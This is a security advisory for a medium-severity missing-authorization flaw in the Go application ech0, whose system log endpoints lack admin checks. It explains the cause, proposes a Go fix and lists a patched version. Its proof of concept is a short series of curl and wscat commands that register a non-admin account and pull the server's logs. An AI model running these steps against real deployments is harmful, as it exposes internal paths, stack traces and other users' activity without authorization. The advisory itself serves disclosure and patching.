Ech0's Missing Authorization on System Logs Allows Non-Admin Information DisclosureGHSA-w8jj-cwmc-wgq2
MEDIUMGHSA-w8jj-cwmc-wgq2 is a medium-severity (CVSS 4.3) CWE-862 vulnerability in github.com/lin-snow/ech0. A fix is available for github.com/lin-snow/ech0 — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-w8jj-cwmc-wgq2.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/lin-snow/ech0Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The system log endpoints (GET /api/system/logs, GET /api/system/logs/stream, WS /ws/system/logs) lack authorization checks, allowing any authenticated non-admin user to read and stream all server logs. These logs contain error stack traces, internal file paths, module names, and arbitrary structured fields that facilitate reconnaissance for further attacks.
Details
The dashboard routes in internal/router/dashboard.go:7-8 register log endpoints on the AuthRouterGroup without any RequireScopes middleware:
// internal/router/dashboard.go
func setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
appRouterGroup.AuthRouterGroup.GET("/system/logs", h.DashboardHandler.GetSystemLogs())
appRouterGroup.AuthRouterGroup.GET("/system/logs/stream", h.DashboardHandler.SSESubscribeSystemLogs())
appRouterGroup.WSRouterGroup.GET("/system/logs", h.DashboardHandler.WSSubscribeSystemLogs())
}
Compare with other admin-only routes that properly use RequireScopes:
// internal/router/setting.go — every route has RequireScopes
appRouterGroup.AuthRouterGroup.GET("/settings",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.SettingHandler.GetSiteSettings())
The AuthRouterGroup only applies JWTAuthMiddleware() (router.go:36), which validates the JWT and sets the viewer context but does not check admin status. The WSRouterGroup (router.go:37) has no middleware at all — the WebSocket handler only calls ParseToken to verify the JWT signature (dashboard.go:74) without any role/scope validation.
The handler (internal/handler/dashboard/dashboard.go:29-62) and service (internal/service/dashboard/dashboard.go:21-27) contain zero authorization checks. Other services in the codebase properly enforce admin access:
internal/service/inbox/inbox.go:132—ensureAdmin()internal/service/migrator/migrator.go:360—ensureAdmin()internal/service/comment/comment.go:719—requireAdmin()
Non-admin users are created with IsAdmin: false and IsOwner: false (internal/service/user/user.go:220-221) via the public registration endpoint.
The LogEntry struct (internal/util/log/log.go:78-87) exposes:
type LogEntry struct {
Time string `json:"time"`
Level string `json:"level"`
Msg string `json:"msg"`
Module string `json:"module,omitempty"`
Caller string `json:"caller,omitempty"` // internal file paths
Error string `json:"error,omitempty"` // error stack traces
Fields map[string]any `json:"fields,omitempty"` // arbitrary structured data
Raw string `json:"raw,omitempty"` // raw log lines
}
PoC
# 1. Register a non-admin user (system allows up to 5 users by default)
curl -X POST http://localhost:8080/api/register \
-H 'Content-Type: application/json' \
-d '{"username":"attacker","password":"Password123"}'
# 2. Login to get session token
TOKEN=$(curl -s -X POST http://localhost:8080/api/login \
-H 'Content-Type: application/json' \
-d '{"username":"attacker","password":"Password123"}' | jq -r '.data.token')
# 3. Read system logs — should require admin but doesn't
curl http://localhost:8080/api/system/logs \
-H "Authorization: Bearer $TOKEN"
# Returns: {"code":1,"data":[{"time":"...","level":"error","msg":"...","module":"...","caller":"internal/service/user/user.go:145","error":"...","fields":{...}},...]}
# 4. Subscribe to real-time log stream via SSE
curl -N "http://localhost:8080/api/system/logs/stream?token=$TOKEN"
# 5. Subscribe via WebSocket (WSRouterGroup has NO middleware)
# wscat -c "ws://localhost:8080/ws/system/logs?token=$TOKEN"
Impact
Any registered non-admin user can:
- Read all historical system logs including error traces that reveal internal code paths, database errors, and application state
- Stream real-time logs via SSE or WebSocket to monitor all server activity as it happens
- Gather reconnaissance data — caller fields expose internal file paths and line numbers, error fields expose stack traces and database query failures, module fields map the internal architecture
- Monitor other users' actions — authentication failures, registration events, and admin operations appear in logs
This information disclosure lowers the bar for chaining further attacks by revealing the application's internal structure, error handling patterns, and operational state.
Recommended Fix
Add RequireScopes middleware with an admin scope to the dashboard routes:
// internal/router/dashboard.go
func setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
appRouterGroup.AuthRouterGroup.GET("/system/logs",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.DashboardHandler.GetSystemLogs())
appRouterGroup.AuthRouterGroup.GET("/system/logs/stream",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.DashboardHandler.SSESubscribeSystemLogs())
appRouterGroup.WSRouterGroup.GET("/system/logs",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.DashboardHandler.WSSubscribeSystemLogs())
}
Additionally, the WebSocket handler should validate admin scope after parsing the token, since the WSRouterGroup lacks middleware:
// internal/handler/dashboard/dashboard.go — WSSubscribeSystemLogs
claims, err := jwtUtil.ParseToken(token)
if err != nil {
ctx.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{"msg": "invalid token"})
return
}
// Add admin check for WebSocket endpoint
if claims.TokenType == authModel.TokenTypeAccess && !containsScope(claims.Scopes, authModel.ScopeAdminSettings) {
ctx.AbortWithStatusJSON(http.StatusForbidden, gin.H{"msg": "admin access required"})
return
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/lin-snow/ech0 | all versions | 4.4.3go get github.com/lin-snow/ech0@v4.4.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lin-snow/ech0, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/lin-snow/ech0 to 4.4.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-w8jj-cwmc-wgq2 is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Frequently Asked Questions
Is GHSA-w8jj-cwmc-wgq2 in your dependencies?
Find it across Go, including transitive dependencies.